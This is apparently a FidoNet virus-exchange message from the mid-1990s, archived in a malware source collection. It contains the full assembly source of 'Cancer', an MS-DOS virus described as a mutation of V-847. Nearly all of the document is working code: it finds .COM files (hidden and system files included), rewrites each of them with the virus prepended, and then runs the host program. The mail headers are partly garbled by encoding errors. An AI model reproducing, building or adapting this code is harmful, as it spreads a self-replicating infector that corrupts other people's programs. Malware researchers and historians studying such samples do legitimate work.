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MalwareSourceCode/MSDOS/V-Index/Virus.MSDOS.Unknown.vir08.asm

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2022-08-21 09:07:57 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 1 of 57
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:09
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : PIXLCANC.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Viral Doctor, 2:283/718 (06 Nov 94 16:12)
;* To : Fred Lee
;* Subj : PIXLCANC.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Viral.Doctor@f718.n283.z2.fidonet.org
page ,132
name CANCER
title Cancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + 1E
virlenx = offset endcode - offset start
start:
jmp cancer
ident dw 'VI'
counter db 0
allcom db '*.COM',0
vleng db virlen
n_10D db 3 ;Unused
progbeg dd ?
eof dw ?
handle dw ?
cancer:
mov ax,cs ;Move program code
add ax,1000 ; 64K bytes forward
mov es,ax
inc [counter]
mov si,offset start
xor di,di
mov cx,virlen
rep movsb
mov dx,newdta ;Set new Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov dx,offset allcom ;Search for '*.COM' files
mov cx,110b ;Normal, Hidden or System
mov ah,4E ;Find First file
int 21
jc done ;Quit if none found
mainlp:
mov dx,offset fname
mov ax,3D02 ;Open file in Read/Write mode
int 21
mov [handle],ax ;Save handle
mov bx,ax
push es
pop ds
mov dx,buffer
mov cx,0FFFF ;Read all bytes
mov ah,3F ;Read from handle
int 21 ;Bytes read in AX
add ax,buffer
mov cs:[eof],ax ;Save pointer to the end of file
xor cx,cx ;Go to file beginning
mov dx,cx
mov bx,cs:[handle]
mov ax,4200 ;LSEEK from the beginning of the file
int 21
jc close ;Leave this file if error occures
mov dx,0 ;Write the whole code (virus+file)
mov cx,cs:[eof] ; back onto the file
mov bx,cs:[handle]
mov ah,40 ;Write to handle
int 21
close:
mov bx,cs:[handle]
mov ah,3E ;Close the file
int 21
push cs
pop ds ;Restore DS
mov ah,4F ;Find next matching file
mov dx,newdta
int 21
jc done ;Exit if all found
jmp mainlp ;Otherwise loop again
done:
mov dx,olddta ;Restore old Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov si,offset transf ;Move this part of code
mov cx,smalcod ;Code length
xor di,di ;Move to ES:0
rep movsb ;Do it
xor di,di ;Clear DI
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
jmp cs:[progbeg] ;Jump at program start
transf:
push ds
pop es
mov si,buffer+100
cmp [counter],1
jne skip
sub si,200
skip:
mov di,offset start
mov cx,0FFFF ;Restore original program's code
sub cx,si
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
jmp dword ptr cs:[start] ;Jump to program start
endcode label byte
int 20 ;Dummy program
int 20 ;???
db 0 ;Unused
code ends
end start
;
;-+- DinoMail v.1.0 Alpha
; + Origin: The PRO-Point on a PRO-BBS and a PRO-*.* ...Ciaro?... (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/n No default libraries
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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